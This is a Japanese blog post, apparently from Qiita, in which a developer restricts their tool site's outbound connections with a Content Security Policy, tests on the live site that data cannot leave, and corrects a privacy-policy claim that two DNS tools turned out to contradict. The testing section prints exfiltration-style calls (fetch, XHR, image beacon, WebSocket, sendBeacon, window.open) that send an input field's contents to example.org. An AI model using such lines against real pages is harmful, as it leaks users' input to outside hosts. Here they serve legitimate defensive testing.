0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

「入力はサーバーに送りません」を、自分のサイトで検証したら、嘘が1件見つかった

0
Posted at

「入力はサーバーに送りません」を、自分のサイトで検証したら、嘘が1件見つかった

TL;DR

  • ブラウザ内で完結するツール集(猫の手道具箱)を作っています。「入力はサーバーに送りません」と書くだけでは信用されないので、ブラウザの仕組み(CSP)で送れないようにして、実際に送れないことをテストしました
  • fetch / XMLHttpRequest / <img> / WebSocket / sendBeacon は、許可していない宛先に対してすべてブロックされました(実測、後述)
  • 検証の途中で、プライバシーポリシーの「入力は送信しない」が、2つのツールについては事実と違うことに気づいて訂正しました
  • CSP が止めないもの(window.open など)もあります。「万能の保証」ではない点も書きます

背景: 「送りません」は、書くだけでは意味がない

私は社内SEで、障害対応中に「ログやJSONをどこかのWebツールに貼る」場面が多くあります。
そのとき一番引っかかるのが「この内容は、どこかのサーバーに送られていないか?」です。

自分でツール集を作るなら、ここを「書いてあるから信じて」ではなく「確かめられる」形にしたいと考えました。
やったことは次の3つです。

  1. ブラウザに「許可した宛先以外へは通信しない」と約束させる(CSP)
  2. その約束が本当に効いているか、本番に対して試す
  3. 試す過程で見つかった、実態とのズレを直す

1. CSP の connect-src で通信先を絞る

Content Security Policy(CSP)の connect-src は、fetch や XMLHttpRequest、WebSocket などの宛先の許可リストです。
ここに書いていないサーバーへは、ページのスクリプトから通信できません。

このサイトでは、全ページの <head> で次のように設定しています(抜粋)。

<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  connect-src 'self' data: blob:
    https://cloudflare-dns.com
    https://*.google-analytics.com https://*.analytics.google.com
    https://*.googletagmanager.com https://stats.g.doubleclick.net;
  img-src 'self' data: blob: https://*.google-analytics.com https://*.googletagmanager.com;
  object-src 'none'; base-uri 'self'; …">

許可しているのは、自サイト、アクセス解析(Google Analytics)、そして SPF 検証ツールが使う Cloudflare の DNS over HTTPS だけです。
入力内容を扱うツールが、任意のサーバーへ内容を送ることはできない、というのがこの設定の狙いです。

HTTP ヘッダーではなく <meta> にした理由

本来 CSP は HTTP ヘッダーで配信するのが基本です。
ただ、このサイトのデプロイは「public/* を本番にコピーする」方式で、先頭が . のファイル(.htaccess)が本番に届きません。
<meta> なら、git で管理できて、ローカルでも本番と同じ条件で検証できます。

(<meta> 版には、frame-ancestors が使えないなど、ヘッダー版にできない制限があります。この点は後述します。)

2. 本当に止まるのか、本番で試す

設定を書いただけでは、「効いている」ことにはなりません。
Playwright で本番のページを開き、ページ内から許可していない宛先(example.org)へ、入力欄の内容を送ってみます。

// 本番の JSON 整形ツールを開き、ページのコンテキストで実行する
await fetch('https://example.org/collect', { method: 'POST', body: document.getElementById('inputJson').value });

const img = new Image(); img.src = 'https://example.org/p.png?d=secret';

const xhr = new XMLHttpRequest(); xhr.open('POST', 'https://example.org/x'); xhr.send('secret');

new WebSocket('wss://example.org/ws');

navigator.sendBeacon('https://example.org/b', 'secret');

結果です(headless Chromium、2026-11-09、本番)。

手段 結果
fetch TypeError: Failed to fetch(CSP 違反)
<img> ブロック(CSP 違反)
XMLHttpRequest ブロック(status 0、CSP 違反)
WebSocket ブロック(CSP 違反)
sendBeacon true を返すが、実際にはブロック(コンソールに CSP 違反)

sendBeacon は「キューに積んだ」という意味で true を返すので、戻り値だけでは判断できません。
Playwright で requestfailed と response を見ると、example.org への要求は csp で失敗し、example.org からの応答は0件でした。

注意: Playwright の request イベントは、CSP でブロックされる要求でも発火します。
「リクエストが発生した」ことと「外に出た」ことは別なので、response / requestfailed まで見ないと誤判定します。

手元でも同じことを確かめられます。ブラウザの開発者ツールの Network タブを開いたままツールを使い、入力内容を含む通信が出ないことを見てください。

3. 検証して見つかった「実態とのズレ」

3-1. 「入力は送信しない」が、2つのツールでは嘘だった

CSP を入れたあと、プライバシーポリシーの記載を全ツールの実際の通信と突き合わせました。
すると、ネットワークツール(DNS 検索)と逆引きDNS検索は、入力したドメイン名・IPアドレスを自サイトのサーバーに送って、サーバー側で DNS 問い合わせをしていることがわかりました。
当時のプライバシーポリシーは「入力内容は送信しない」と書いており、この2つについては不正確でした。

そこで、次のように直しました。

  • ポリシーに「入力内容が外部に送信される例外のツール」の表を追加(送信される内容・送信先・保存の有無)
  • アクセスログの保管期間(週次ローテーション、4世代、約1か月)も明記

「ほとんどのツールは送らない。例外はこの表のとおり」と言い切るほうが、「全部送らない」と言うより、よほど信頼できると考えています。

3-2. 本番で動いていなかったツールがあった

全ツールページを、PHP が出力した後の HTML のまま Playwright で開いて、JS エラーと CSP 違反を調べました。
その結果、あるツール(ペイロード生成ツール)は、JS の文字列の中に </script> と書かれていて、HTML パーサーがそこでスクリプトを終了させてしまい、本番で動いていなかったことがわかりました。
<\/script> に直して解決しました。

ソースを眺めるだけでは気づけず、「出力後の HTML をブラウザで読む」検査で初めて見つかりました。
この検査は、その後 check.sh(push 前に走る自動チェック)に組み込んでいます。

最終的に、57ページを検査して CSP 違反 0 件、JS エラー 0 件でした。

4. CSP で止められないもの(限界)

CSP は便利ですが、万能ではありません。ここを書かないのはフェアではないので、書いておきます。

  • 画面遷移やフォーム送信は止まらない: window.open('https://example.org/?d=...') は通ります(上のテストでも確認)。URL に入力を載せて別サイトを開く、という漏らし方は CSP では防げません。「通信しない」と書くなら、ツールのコード側でもそういう挙動が無いことを確認する必要があります
  • アクセス解析は動いている: GA4 を使っています。入力内容は送りませんが、「完全に通信なし」ではありません。ポリシーにそのまま書いています
  • 'unsafe-inline' が必要: 既存ツールがインラインスクリプトを使っているため、現状は許可しています(将来は nonce 化したい)
  • <meta> 版の限界: frame-ancestors など、ヘッダーでしか効かない指令があります

つまり CSP は、「コードにバグや悪意があっても、通信先を絞っておけば被害を限定できる」ための安全網です。
コード自体が入力を外に出していないことの証明には、別途、通信を見るテスト(上の Network タブや Playwright)が必要です。

おまけ: 共有リンクも「送らない」設計に

先日、入力内容をリンクにして共有する機能を入れました。
入力を圧縮して URL の # 以降に入れる方式です。# 以降はブラウザからサーバーに送られないので、この機能も「入力はサーバーに送らない」方針と両立します。
ただし、アクセス解析(GA4)は、そのままだと # 以降を含むページ URL を送る可能性があるため、解析に渡すページ URL から # 以降を除く設定にしています。

まとめ

  • 「送りません」は、書くだけでなく、ブラウザに約束させて(CSP)、実際に止まることをテストする
  • 検証すると、自分の説明が間違っていた箇所が見つかる。見つかったら、隠さず表にして直す
  • CSP が止められないもの(画面遷移、アクセス解析、など)も、一緒に書く

ツール集はこちらです: https://meowassist.net/
(以前書いた紹介記事のURLは、サイトの構成変更で変わっています。旧URLは新しいページへ転送されます)

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?